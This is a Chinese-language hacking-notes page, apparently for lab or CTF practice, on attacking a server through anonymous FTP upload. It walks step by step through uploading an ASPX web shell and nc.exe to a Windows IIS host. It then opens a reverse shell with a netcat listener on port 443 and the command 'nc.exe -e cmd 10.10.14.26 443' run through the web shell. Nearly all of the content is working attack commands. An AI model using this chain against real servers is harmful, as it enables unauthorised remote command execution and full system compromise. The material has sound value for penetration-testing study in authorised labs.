> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - 反向 Shell 和 Web Shell 攻击

通过 FTP 文件上传滥用 ASPX Web Shell 和 nc.exe 反向 Shell。

## **通过 FTP 上传反向 Shell**

### **上传一个 ASPX Web Shell**

使用现有的 Web Shell， **`cmd.aspx`**，来自 SecLists：

```bash
查找 cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

将其上传到 FTP 服务器：

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

通过 HTTP 服务器访问该 Web Shell 并执行命令，例如：

```bash
ipconfig
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd99e4c6ff029a4904b060539b114c8827c974%2Fimage%20(2516).png?alt=media" alt=""><figcaption></figcaption></figure>

### **上传 `nc.exe` 反向 Shell 的二进制文件**

下载 **`nc.exe`** 来自 SecLists：

```bash
查找 nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

将其上传到 FTP 服务器：

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

从 Web Shell 中查找 **`nc.exe`** 在目标服务器上：

```powershell
dir /s C:/nc.exe
```

### **设置反向 Shell**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62ddb252ee32367246b0fcddf36d25136e1a0af8%2Fimage%20(2517).png?alt=media" alt=""><figcaption></figcaption></figure>

**在 443 端口监听：**

设置一个 `nc` 监听器，端口为 443：

```bash
rlwrap nc -nvlp 443
```

从目标机器通过 Web Shell 执行以下命令：

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbbed5f1aa79caa6d8a1bf29a5fb65a21b02451e%2Fimage%20(2518).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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